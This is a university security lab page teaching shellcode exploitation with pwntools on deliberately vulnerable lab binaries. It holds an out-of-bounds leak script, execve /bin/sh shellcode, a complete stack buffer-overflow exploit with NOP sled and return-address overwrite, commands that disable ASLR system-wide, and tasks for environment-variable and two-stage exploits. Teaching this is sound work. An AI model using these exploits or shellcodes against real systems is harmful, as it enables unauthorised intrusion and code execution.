Lab 05 - Exploiting. Shellcodes (Part 2)

Resources

Lab Support Files

We will use this lab archive throughout the lab.

Please download the lab archive an then unpack it using the commands below:

student@mjolnir:~$ wget http://elf.cs.pub.ro/oss/res/labs/lab-05.tar.gz
student@mjolnir:~$ tar xzf lab-05.tar.gz

After unpacking we will get the lab-05/ folder that we will use for the lab:

student@mjolnir:~$ cd lab-05/
student@mjolnir:~/lab-05$ ls
1_env_var  2_640k

You can use the demos from lecture 05:

student@mjolnir:~$ wget http://elf.cs.pub.ro/cns/res/lectures/lecture-05-demo.zip
student@mjolnir:~$ unzip lecture-05-demo.zip
student@mjolnir:~$ cd vuln/
student@mjolnir:~/vuln$ ls
01-segfault  02-call-main  03-send-shellcode  04-shellcode-env

Intro

Starting from where we left off last session, you will find that in real-life scenarios, vulnerabilities leave you very little room to play with, so you have to be creative with your exploits.

Again, for this lab, we will be disabling ASLR as follows:

  • Disable it for a newly spawned shell (and subsequent processes):
    setarch i386 -R /bin/bash
    • You can re-enable it by quitting the shell (such as using the exit command or the Ctrl+d shortcut).
  • Disable it system-wide:
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
    • You can re-enable it system-wide:
      echo 1 | sudo tee /proc/sys/kernel/randomize_va_space

Pwntools Tutorial

Even though pwntools is an excellent CTF framework, it is also an exploit development library. It was developed by Gallopsled, a European CTF team, under the context that exploit developers have been writing the same tools over and over again with different variations. Pwntools comes to level the playing field and bring together developers to create a common framework of tools.

Local and remote I/O

Pwntools enables you to dynamically interact (through scripting) with either local or remote processes, as follows:

IP = '10.11.12.13'
PORT = 1337
local = False
if not local:
    io = remote(IP, PORT)
else:
    io = process('/path/to/binary')
 
io.interactive()

We can send and receive data from a local or remote process via send, sendline, recv, recvline and recvuntil.

Let's construct a complete example in which we interact with a local process.

#include <stdio.h>
 
int main(int argc, char* argv[])
{
	char flag[10] = {'S', 'E', 'C', 'R', 'E', 'T', 'F', 'L', 'A', 'G'};
	char digits[10] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9'};
	int index = 0;
 
	while (1) {
		printf("Give me an index and I'll tell you what's there!\n");
		scanf("%d", &index);
		printf("Okay, here you go: %p %c\n", &digits[index], digits[index]);
	}
	return 0;
}

Let's leak one byte of the flag using pwntools.

#!/usr/bin/env python
from pwn import *
 
io = process('leaky')
 
# "Give me an index and I'll tell you what's there!\n
io.recvline()
 
# Send offset -10
io.sendline('-10')
 
# Here you go\n
result = io.recvline()
 
print "Got: " + result
 
io.interactive()

If we run the previous script, we get the following output:

[+] Starting local process './leaky': Done
Got: Okay, here you go: 0xffe947d8 S
 
[*] Switching to interactive mode
[*] Process './leaky' stopped with exit code 0
[*] Got EOF while reading in interactive
$  

Notice the $ prompt which still awaits input from us to feed the process. This is due to the io.interactive() line at the end of the script.

We can encapsulate the previous sequence of interactions inside a function which we can loop.

#!/usr/bin/env python
from pwn import *
 
def leak_char(offset):
    # "Give me an index and I'll tell you what's there!\n
    io.recvline()
 
    # Send offset
    io.sendline(str(offset))
 
    # Here you go\n
    result = io.recvline()
 
    # Parse the result
    leaked_char = result.split('go: ')[1].split(' ')[1].split('\n')[0]
    return leaked_char
 
io = process('leaky')
 
flag = ''
 
for i in range(-10,0):
    flag += leak_char(i)
 
print "The flag is: " + flag
io.close()

If we run this script, we leak the flag.

$ ./demo_pwn.py 
[+] Starting local process './leaky': Done
The flag is: SECRETFLAG
[*] Stopped program './leaky'

Logging

The previous example was a bit… quiet. Fortunately, pwntools has nicely separated logging capabilities to make things more verbose for debugging and progress-viewing purposes. Let's log each of our steps within the leak_char function.

def leak_char(offset):
    # "Give me an index and I'll tell you what's there!\n
    io.recvline()
 
    # Send offset
    log.info("Sending request for offset: " + str(offset))
    io.sendline(str(offset))
 
    # Here you go\n
    result = io.recvline()
    log.info("Got back raw response: " + result)
 
    # Parse the result
    leaked_char = result.split('go: ')[1].split(' ')[1].split('\n')[0]
    log.info("Parsed char: " + leaked_char)
    return leaked_char

Now the output should be much more verbose:

[+] Starting local process './leaky': Done
[*] Sending request for offset: -10
[*] Got back raw response: Okay, here you go: 0xffb14948 S
[*] Parsed char: S
[*] Sending request for offset: -9
[*] Got back raw response: Okay, here you go: 0xffb14949 E
[*] Parsed char: E
[*] Sending request for offset: -8
[*] Got back raw response: Okay, here you go: 0xffb1494a C
[*] Parsed char: C
[*] Sending request for offset: -7
[*] Got back raw response: Okay, here you go: 0xffb1494b R
[*] Parsed char: R
[*] Sending request for offset: -6
[*] Got back raw response: Okay, here you go: 0xffb1494c E
[*] Parsed char: E
[*] Sending request for offset: -5
[*] Got back raw response: Okay, here you go: 0xffb1494d T
[*] Parsed char: T
[*] Sending request for offset: -4
[*] Got back raw response: Okay, here you go: 0xffb1494e F
[*] Parsed char: F
[*] Sending request for offset: -3
[*] Got back raw response: Okay, here you go: 0xffb1494f L
[*] Parsed char: L
[*] Sending request for offset: -2
[*] Got back raw response: Okay, here you go: 0xffb14950 A
[*] Parsed char: A
[*] Sending request for offset: -1
[*] Got back raw response: Okay, here you go: 0xffb14951 G
[*] Parsed char: G
[*] The flag is: SECRETFLAG
[*] Stopped program './leaky'

Assembly and ELF manipulation

Pwntools can also be used for precision work, like working with ELF files and their symbols.

#!/usr/bin/env python
from pwn import *
 
leaky_elf = ELF('leaky')
main_addr = leaky_elf.symbols['main']
 
# Print address of main
log.info("Main at: " + hex(main_addr))
 
# Disassemble the first 14 bytes of main
log.info(disasm(leaky_elf.read(main_addr, 14), arch='x86'))

We can also write ELF files from raw assembly; this is very useful for testing shellcodes.

#!/usr/bin/env python
from pwn import *
 
sh_shellcode = """
        mov eax, 11
        push 0
        push 0x68732f6e
        push 0x69622f2f
        mov ebx, esp
        mov ecx, 0
        mov edx, 0
        int 0x80 
"""
 
e = ELF.from_assembly(sh_shellcode, vma=0x400000)
 
with open('test_shell', 'wb') as f:
    f.write(e.get_data())

Shellcode generation

Pwntools comes with the shellcraft module, which is quite extensive in its capabilities.

print shellcraft.read(0, 0xffffeeb0, 20) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes
    /* call read(0, 0xffffeeb0, 0x14) */
    push (SYS_read) /* 3 */
    pop eax
    xor ebx, ebx
    push 0xffffeeb0
    pop ecx
    push 0x14
    pop edx
    int 0x80

It also works with other architectures:

print shellcraft.arm.read(0, 0xffffeeb0, 20)
    /* call read(0, 4294962864, 20) */
    eor  r0, r0 /* 0 (#0) */
    movw r1, #0xffffeeb0 & 0xffff
    movt r1, #0xffffeeb0 >> 16
    mov  r2, #0x14
    mov  r7, #(SYS_read) /* 3 */
    svc  0
 
print shellcraft.mips.read(0, 0xffffeeb0, 20)
    /* call read(0, 0xffffeeb0, 0x14) */
    slti $a0, $zero, 0xFFFF /* $a0 = 0 */
    li $a1, 0xffffeeb0
    li $t9, ~0x14
    not $a2, $t9
    li $t9, ~(SYS_read) /* 0xfa3 */
    not $v0, $t9
    syscall 0x40404

These shellcodes can be directly assembled using asm inside your script, and given to the exploited process via the send* functions.

GDB integration

Most importantly, pwntools provides GDB integration, which is extremely useful.

Let's follow an example using the vulnerable binary from lab 06:

#!/usr/bin/env python
from pwn import *
 
ret_offset = 68
buf_addr = 0xffffcee8
ret_address = buf_addr+ret_offset+16
payload = ''
 
p = process('vuln')
 
# Garbage
payload += ret_offset * 'A'
 
# Overwrite ret_address, taking endianness into account
payload += p32(ret_address)
 
# Add nopsled
nops = '\x90'*100
 
# Alternative: asm('nop'), but the above is simpler and faster
payload += nops
 
# Assemble a shellcode from 'shellcraft' and append to payload
shellcode = asm(shellcraft.sh())
payload += shellcode
 
# Attach to process
gdb.attach(p)
 
# Wait for breakpoints, commands etc.
raw_input("Send payload?")
 
# Send payload
p.sendline(payload)
 
# Enjoy shell :-)
p.interactive()

Notice the gdb.attach(p) and raw_input lines. The former will open a new terminal window with GDB already attached. All of your GDB configurations will be used, so this works with PEDA as well. Let's set a breakpoint at the ret instruction from the main function:

gdb-peda$ pdis main
Dump of assembler code for function main:
   0x08048440 <+0>:	push   ebp
   0x08048441 <+1>:	mov    ebp,esp
   0x08048443 <+3>:	sub    esp,0x40
   0x08048446 <+6>:	lea    ebx,[ebp-0x40]
   0x08048449 <+9>:	push   ebx
   0x0804844a <+10>:	push   0x804a020
   0x0804844f <+15>:	call   0x8048300 <printf@plt>
   0x08048454 <+20>:	push   ebx
   0x08048455 <+21>:	call   0x8048310 <gets@plt>
   0x0804845a <+26>:	add    esp,0x4
   0x0804845d <+29>:	leave  
   0x0804845e <+30>:	ret    
   0x0804845f <+31>:	nop
End of assembler dump.
gdb-peda$ b *0x0804845e
Breakpoint 1 at 0x804845e
gdb-peda$ c
Continuing.

The continue command will return control to the terminal in which we're running the pwntools script. This is where the raw_input comes in handy, because it will wait for you to say “go” before proceeding further. Now if you hit <Enter> at the Send payload? prompt, you will notice that GDB has reached the breakpoint you've previously set.

You can now single-step each instruction of the shellcode inside GDB to see that everything is working properly. Once you reach int 0x80, you can continue again (or close GDB altogether) and interact with the newly spawned shell in the pwntools session.

Tasks

1. Passing shellcode through the environment

Navigate to the 1_env_var directory. Run make.

Analyse the vuln.asm source file. Notice that strncpy is used and that the buffer is not large enough to store our desired shellcode. In this task, you will use an environment variable, which as you may know will be present on the stack, to store our shellcode.

Write a small script script.py which prints an execve('/bin/sh', ['/bin/sh'], 0) shellcode preceded by a large (16k) NOP sled. Then, store this shellcode in an environment variable as follows:

$ export A=$(python ./script.py)

Next, use the getenv binary to find the (approximate) address of the environment variable on the stack

$ ./getenv A
Env var addr 0xfffdd1e7

This is the address at which you will return to. Just to be sure that you overwrite the return address, write the env var address multiple times in the buffer (as much as strncpy allows it).

2. Multistage exploit

Navigate to 2_640k and run make. Notice that what we're building is the asm file. The C source is there to show what the program is doing from a logical standpoint.

Since the buffer is not large enough to hold a proper shellcode, we're going to construct a two-stage exploit using pwntools. You can start from the skel.py file, if you want.

a. Leak the buffer address

Understand the logic of the program. Can you leak the address of the overflowing buffer somehow? Can you verify that your leak is correct?

b. Construct the first stage

You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call read(0, buf+return_offset, 200). Write a small shellcode which does this. Check using peda if the read is being called i.e. the program enters a blocked state in which it awaits input.

c. Construct the second stage

Now that you are reading onto the stack further past the return address, you can write your proper shellcode there.

Understand that you are currently executing code from the stack. If your code changes after inadvertently modifying values on the stack, you should look for another solution.

In order to get /bin/sh onto the stack, your shellcode should look something like this:

jmp <offset> ; determine through trial and error
'/bin/sh'\0
; code continues here

This will effectively jump over the /bin/sh string on the stack, which you can then use for your shellcode. Without this initial jmp instruction, the string will be interpreted as instructions!

You can also use the ”call before defining a string” trick from the last session to get /bin/sh onto the stack.

cns/labs/lab-05.txt · Last modified: 2019/10/28 12:07 by cristina.popescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0